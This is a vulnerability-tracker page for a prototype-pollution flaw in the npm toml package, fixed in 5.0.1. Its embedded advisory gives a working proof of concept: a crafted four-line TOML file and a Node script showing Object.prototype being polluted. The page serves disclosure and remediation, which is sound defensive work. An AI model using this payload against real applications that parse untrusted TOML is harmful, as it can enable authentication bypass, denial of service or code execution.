CVE-2026-114142: parsing a TOML document can write to Object.prototype
Affects tomlSource GCVE Database
Mentioned vulnerabilities
Not known to be exploited · CVSS 8.8 High : upgrade to 5.0.1 soon.
Data as of 26 Oct 2026, 17:16 UTC
- EPSS
- 0.3% chance of exploitation in 30 days – higher than 33% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
- Patch
- Available – fixed in 5.0.1
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:NExploitation evidence
Disclosed: evidence found.
CVE published 21 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors
A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.
What to do
Upgrade toml to 5.0.1.
Affected software
| Product | Affected | Fixed in |
|---|---|---|
| npmtoml | Affected
| Fixed in
|
Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.
Description
### Summary CVE-2026-63376 described prototype pollution through __proto__ key-path desynchronization and was fixed in 4.1.2 by rewriting the path bookkeeping and adding an ownedContainers WeakSet. The desynchronization is still reachable, spelled with a quote character instead of a dot, and the owned-container check is not applied on the path that matters. A four-line TOML document parsed with toml.parse() writes a property onto Object.prototype, where it is visible to every object in the process — including objects produced by unrelated libraries. ### Details Three gaps compose. All line numbers are `lib/compiler.js` in 5.0.0. **1. The path-key encoding is ambiguous.** `quoteDottedString()` quotes a segment only when it contains a `.`, and never escapes a `"` inside the segment: ```js 287: function quoteDottedString(str) { 288: if (str.indexOf(".") > -1) { 289: return "\"" + str + "\""; 290: } else { 291: return str; 292: } 293: } ``` So the key path `['x.y']` and the key path `['"x', 'y"']` both render as the string `"x.y"`. This is the same desynchronization CVE-2026-63376 named, with a quote in place of the dot. **2. A table-array header can clear another key's guard.** `addTableArray()` walks `assignedPaths` / `valueAssignments` with `isSameOrSubPath()` over those ambiguous strings, so a header whose rendered path collides with an unrelated key deletes that key's entry. **3. The descent in `assign()` has no owned-container check.** `deepRef()` applies `isOwnedContainer()` only to intermediate segments (`lib/compiler.js:265`, `:273`) and returns the final container unchecked. `assign()` then walks it with only a shape test: ```js 93: target = target[k]; ... 103: target[lastKey] = reduced; ``` A TOML datetime is a `Date`. It satisfies `typeof target[k] === "object"` and is not an array, so the walk descends into it — and a `Date` has a live prototype chain to `Object.prototype`. Putting the three together, a document can make the current table a `Date` and then walk `__proto__.__proto__` to `Object.prototype`. ```bash mkdir poc && cd poc && npm init -y >/dev/null && npm install toml@5.0.0 ``` ```toml # poc.toml "b.c" = 1979-05-27T07:32:00Z [['"b']] ["b.c"] __proto__.__proto__.polluted = "yes" ``` Line 1 defines a key whose rendered path is `"b.c"` and whose value is a `Date`. Line 2 is a table-array header whose rendered path collides with it, clearing its guard. Line 3 re-enters that key, so the current table is now the `Date`. Line 4 walks `Date` → `Date.prototype` → `Object.prototype`. ```js // poc.js const toml = require('toml'); const fs = require('fs'); console.log('before:', JSON.stringify(({}).polluted)); toml.parse(fs.readFileSync('poc.toml', 'utf8')); console.log('after: ', JSON.stringify(({}).polluted)); console.log('Object.prototype.hasOwnProperty("polluted") =', Object.prototype.hasOwnProperty('polluted')); console.log('JSON.parse("{}").polluted =', JSON.stringify(JSON.parse('{}').polluted)); ``` ``` $ node poc.js before: undefined after: "yes" Object.prototype.hasOwnProperty("polluted") = true JSON.parse("{}").polluted = "yes" ``` The payload sets a single harmless marker property. The last line shows the property is visible on an object this code never touched. A useful control: the same document without line 2 (the guard-clearing header) is correctly rejected on 4.1.2 and later, which confirms the clearing step is what is load-bearing. ### Impact Any application that parses a TOML document from an untrusted source is affected — a configuration file uploaded by a user, a manifest from a third-party package or repository, a document posted to an API. Prototype pollution of this kind commonly escalates to authentication or authorization bypass, denial of service, and in applications with a suitable gadget, remote code execution, because every object in the process inherits the injected property. Suggested fix: in `assign()`, apply the same check the intermediate descent already uses — after `target = target[k]`, reject when `!isOwnedContainer(target)`. Equivalently, apply `isOwnedContainer` to the value `deepRef()` returns. Separately, `quoteDottedString()` should escape `"` inside a segment so that distinct key paths cannot render to the same string.
References
- github.com/BinaryMuse/toml-node/security/advisories/GHSA-h895-cgqg-jf52 (opens in a new tab)
- nvd.nist.gov/vuln/detail/CVE-2026-114142 (opens in a new tab)
- github.com/BinaryMuse/toml-node/commit/609c873fffea0a27ebe5b4dd098eed2b3daf3606 (opens in a new tab)
- github.com/BinaryMuse/toml-node (opens in a new tab)
- github.com/BinaryMuse/toml-node/releases/tag/v5.0.1 (opens in a new tab)